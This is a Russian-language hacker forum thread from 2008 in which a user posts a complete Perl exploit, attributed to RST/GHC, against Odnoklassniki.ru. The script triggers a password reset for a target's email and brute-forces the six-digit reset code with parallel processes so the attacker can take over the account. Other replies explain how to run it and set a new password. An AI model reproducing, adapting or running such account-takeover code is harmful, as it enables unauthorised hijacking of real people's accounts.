Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
эксплоит для одноклассники.ру от Rst/ghc |

26.05.2008, 16:21
|
|
Постоянный
Регистрация: 16.01.2006
Сообщений: 598
Провел на форуме: 5120686
Репутация:
531
|
|
эксплоит для одноклассники.ру от Rst/ghc
Все слышали новость что 26 в паблик уидет сплоит от известной команды. Сплоит раздали на ирк канале рст где-то в 4 часа. Вот сам сплоит
PHP код:
#!/usr/bin/perl
use LWP::UserAgent;
print qq(
,__ __,
\\ \\ / /
\\ \\ __ _ / /
\\ .___/\\:::* /\\ /
|_____\\ |/ \\
/<>//,./ / _________
/ / / \\ | RST
/ /.,\\\\<>/\\ \\ | GHC
\\ \\ /' \\ / | UKT
\\ \\ / \\ |__\\xD____
\\ \\/ /
/ '''\\''' /
/ / \\ \\ / \\ \\
/ / ___ \\ / \\ \\
*__ __*
[preved odnoklassne4gi]
);
if (!scalar(@ARGV)) {
print "\[~\]Usage : ./$0 eMail {number of child procs}\n\n";
exit();
}
if (-e "success") {
print "\[-\] File \"success\" exists in your directory. Please rename it or remove.\n\n";
exit();
}
my $email="$ARGV[0]";
if ($ARGV[1]) {
my $MAX_PROCESSES=$ARGV[1];
} else {
my $MAX_PROCESSES=5;
}
my $DEBUG=0;
my @pids;
my $npids=0;
my $restore=0;
my $e;
# first step - omg! I lost my password?!?!?!
$ua=LWP::UserAgent->new();
$page=$ua->post("http://odnoklassniki.ru/cdk/st.cmd/password/tkn/6544",["st.email"=>$email,"st.posted"=>"set"]);
$page_content=$page->content();
if ($page_content=~/st.email/) {
print "\[-\] Please provide correct email address\n";
exit();
} else {
print "\[+\] Repair password code send to $email\n";
}
# step number two - bruteforce code for repair password
print "\[~\] Brutforce code for repair password\
This process make take max ~ 18 hours to check all combinations\
You need good internet channel and fast cpu\n";
open(LOG_FILE,">>log");
$not=1;
for ($code=100000;$code<=999999;$code++) {
if (-e "success") {
print "DONE";
exit();
}
if ($code==199999 && $not==1) {
$cod="099999";
$not=0;
$code=100000;
} elsif ($code=~/^1(\d+)$/ && $not==1) {
$code=~/^1(\d+)$/;
$cod="0$1";
} else {
$cod=$code;
}
if ($cod=~/^(\d+)000$/) {
print "#";
}
my $pid;
$pid=fork();
if($pid>0){
push(@pids,$pid);
$npids++;
if($npids>=$MAX_PROCESSES){
for(1..($MAX_PROCESSES)){
$wait_ret=wait();
if($wait_ret>0){
$npids--;
}
}
}
next;
}elsif(undef $pid){
print "fork error\n" if ($DEBUG);
exit(0);
}
$p=$ua->post("http://www.odnoklassniki.ru/dk",["st.cmd"=>"passwordReset","st.email"=>$email,"st.confirmation-code"=>$cod,"st.posted"=>"set"]);
$con=$p->content();
if ($con=~/password.confirmation/) {
print "$cod cached\n";
print LOG_FILE "$cod cached\n";
open(SUCCESS,">>success");
print SUCCESS "\n############################\n";
print SUCCESS "Yahooo! Congratulations! Code for password repair is - $cod\n";
print SUCCESS "Go to http://www.odnoklassniki.ru//dk?st.cmd=passwordReset\n";
print SUCCESS "Type your email ($email), your repair code ($cod) and set new password for your account.\n";
print SUCCESS "############################\n";
print "############################\n";
print "Yahooo! Congratulations! Code for password repair is - $cod\n";
print "Go to http://www.odnoklassniki.ru//dk?st.cmd=passwordReset\n";
print "Type your email ($email), your repair code ($cod) and set new password for your account.\n";
print "############################\n";
close(SUCCESS);
} else {
print LOG_FILE "$cod failed\n";
}
exit();
}
close(LOG_FILE);
|
|
|

26.05.2008, 16:25
|
|
Постоянный
Регистрация: 25.05.2008
Сообщений: 367
Провел на форуме: 2352294
Репутация:
416
|
|
как насчет инструкции)
|
|
|

26.05.2008, 16:33
|
|
Участник форума
Регистрация: 24.07.2007
Сообщений: 175
Провел на форуме: 1092179
Репутация:
102
|
|
Сообщение от k0lbasa
как насчет инструкции)
Usage : ./$0 eMail {number of child procs}
пишешь путь к файлу а потом нужно мыло.
Как я понял сплойт запрашивает восстановление пароля (первый шаг), и после брутит код для восстановления пароля (шаг второй). Для перебора всех комбинаций требуется около 18 часов.
Ну а после проходим по ссылке пишем мыло ,код и новый пароль.
|
|
|

26.05.2008, 16:35
|
|
Постоянный
Регистрация: 21.12.2007
Сообщений: 475
Провел на форуме: 1270580
Репутация:
387
|
|
Я уже выложил в теме про эксплойт
https://forum.antichat.ru/threadnav71241-1-10.html
|
|
|

26.05.2008, 16:37
|
|
Познающий
Регистрация: 02.02.2007
Сообщений: 78
Провел на форуме: 1514596
Репутация:
49
|
|
Мдя...жалко что жить он будет недолго....
|
|
|

26.05.2008, 16:46
|
|
Постоянный
Регистрация: 25.05.2008
Сообщений: 367
Провел на форуме: 2352294
Репутация:
416
|
|
по википедии я - скрипткидди))
так что хотелось бы узнать поподробнее
|
|
|

26.05.2008, 16:51
|
|
Постоянный
Регистрация: 16.01.2006
Сообщений: 598
Провел на форуме: 5120686
Репутация:
531
|
|
колбаса, ставь актив перл и запускай
|
|
|

26.05.2008, 20:07
|
|
Постоянный
Регистрация: 24.08.2007
Сообщений: 474
Провел на форуме: 1484154
Репутация:
126
|
|
интнрнсная приколюха хотя пока мне и ненужная
|
|
|

26.05.2008, 20:12
|
|
Banned
Регистрация: 24.05.2008
Сообщений: 42
Провел на форуме: 63344
Репутация:
26
|
|
Сообщение от heks
интнрнсная приколюха хотя пока мне и ненужная
потом (а это пару дней) она работать не будет...
|
|
|

26.05.2008, 20:34
|
|
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
Провел на форуме: 9751379
Репутация:
3812
|
|
Как-то большего ожидал..)
__________________
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|